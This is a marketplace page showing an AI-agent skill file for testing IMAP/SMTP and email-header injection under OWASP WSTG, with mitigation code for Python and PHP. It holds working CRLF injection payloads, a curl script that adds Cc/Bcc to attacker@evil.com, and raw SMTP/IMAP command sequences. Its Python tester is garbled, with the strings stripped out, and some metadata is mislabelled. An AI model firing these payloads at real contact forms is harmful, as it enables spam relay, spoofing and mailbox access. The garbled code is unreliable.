用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-10命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | wstg-inpv-10 |
| description | Testing for IMAP/SMTP Injection |
| category | input-validation |
| owasp_id | WSTG-INPV-10 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | [] |
| cwe_ids | ["CWE-601"] |
| chains_with | ["wstg-inpv-02","wstg-sess-05"] |
| prerequisites | ["wstg-info-01"] |
| severity_boost | {} |
WSTG-INPV-10
Testing for IMAP/SMTP Injection
IMAP/SMTP Injection occurs when user input is incorporated into mail server commands without proper validation. Attackers can manipulate email functionality to send spam, access other users' mailboxes, execute arbitrary IMAP/SMTP commands, or bypass email-based security controls.
#!/bin/bash
TARGET="https://target.com/contact"
# Test email header injection via form
echo "[*] Testing email header injection..."
# CC injection
curl -s -X POST "$TARGET" \
-d "name=Test" \
-d "email=test@test.com%0ACc:attacker@evil.com" \
-d "message=Test message"
# BCC injection
curl -s -X POST "$TARGET" \
-d "name=Test" \
-d "email=test@test.com%0ABcc:attacker@evil.com" \
-d "message=Test message"
# Subject injection
curl -s -X POST "$TARGET" \
-d "name=Test%0ASubject:Injected Subject" \
-d "email=test@test.com" \
-d "message=Test"
requests
urllib.parse quote
:
():
.url = url
.findings = []
.session = requests.Session()
PAYLOADS = {
: [
,
,
,
,
,
,
,
,
,
],
: [
,
,
,
,
],
: [
,
,
,
],
}
():
()
payload .PAYLOADS[]:
:
response = .session.post(
.url,
data={
email_param: payload,
: ,
: ,
:
}
)
response.status_code == :
response.text.lower() \
response.text.lower():
()
()
.findings.append({
: ,
: payload,
:
})
response.text.lower() \
response.text.lower():
()
Exception e:
():
()
payload .PAYLOADS[]:
:
response = .session.post(
.url,
data={
user_param: payload,
:
}
)
response.text \
response.text \
response.text:
()
.findings.append({
: ,
: payload,
:
})
Exception e:
():
()
crlf_payloads = [
,
,
,
]
payload crlf_payloads:
:
response = .session.post(
.url,
data={
: ,
subject_param: payload,
:
}
)
response.status_code == :
()
Exception e:
():
()
spoofed_addresses = [
,
,
,
]
email spoofed_addresses:
:
response = .session.post(
.url,
data={
: email,
: ,
:
}
)
response.text.lower():
()
.findings.append({
: ,
: email,
:
})
Exception e:
():
( + *)
()
(*)
.findings:
()
:
f .findings:
()
f:
()
():
.test_header_injection()
.test_crlf_injection()
.test_from_spoofing()
.test_imap_injection()
.generate_report()
tester = MailInjectionTester()
tester.run_tests()
# Email Header Injection
test@test.com%0ACc:attacker@evil.com
test@test.com%0ABcc:attacker@evil.com
test@test.com%0ASubject:Injected
test@test.com%0AContent-Type:text/html%0A%0A<script>alert(1)</script>
# CRLF Variants
%0A = Line Feed
%0D = Carriage Return
%0D%0A = CRLF
\r\n = CRLF (raw)
# IMAP Commands
A001 LOGIN user pass
A002 SELECT INBOX
A003 FETCH 1:* (FLAGS BODY[])
A004 SEARCH ALL
A005 LOGOUT
# SMTP Commands
HELO attacker.com
MAIL FROM:<attacker@evil.com>
RCPT TO:<victim@target.com>
DATA
Subject: Injected
Injected body
.
QUIT
| Tool | Purpose |
|---|---|
| Burp Suite | Intercept and modify |
| Telnet | Direct SMTP/IMAP testing |
| swaks | SMTP testing |
| Custom scripts | Automated testing |
# Python - Proper email handling
import re
from email.utils import parseaddr
def validate_email(email):
"""Validate email address and prevent injection"""
# Check for newlines/CRLF
if '\r' in email or '\n' in email:
raise ValueError("Invalid email: contains newlines")
# Parse and validate
_, addr = parseaddr(email)
if not addr:
raise ValueError("Invalid email format")
# Check for valid format
email_regex = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
if not re.match(email_regex, addr):
raise ValueError("Invalid email format")
return addr
# Use libraries that handle headers safely
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
msg = MIMEMultipart()
msg['From'] = 'noreply@example.com'
msg['To'] = validate_email(user_email)
msg['Subject'] = subject.replace('\n', '').replace('\r', '')
<?php
// PHP - Validate and sanitize
function sanitize_email_header($value) {
// Remove newlines and carriage returns
$value = str_replace(["\r", "\n", "%0a", "%0d"], '', $value);
return $value;
}
// Use filter_var for email validation
$email = filter_var($_POST['email'], FILTER_VALIDATE_EMAIL);
if (!$email) {
die('Invalid email');
}
// Use mail headers safely
$headers = "From: noreply@example.com\r\n";
$headers .= "Reply-To: " . sanitize_email_header($email) . "\r\n";
?>
| Finding | CVSS | Severity |
|---|---|---|
| IMAP command injection | 9.1 | Critical |
| SMTP command injection | 8.1 | High |
| Email header injection | 6.5 | Medium |
| From address spoofing | 4.3 | Medium |
| CWE ID | Title |
|---|---|
| CWE-93 | Improper Neutralization of CRLF Sequences |
| CWE-88 | Improper Neutralization of Argument Delimiters in a Command |
[ ] Email header injection tested
[ ] CC/BCC injection tested
[ ] Subject injection tested
[ ] CRLF injection tested
[ ] IMAP commands tested
[ ] SMTP commands tested
[ ] From spoofing tested
[ ] Findings documented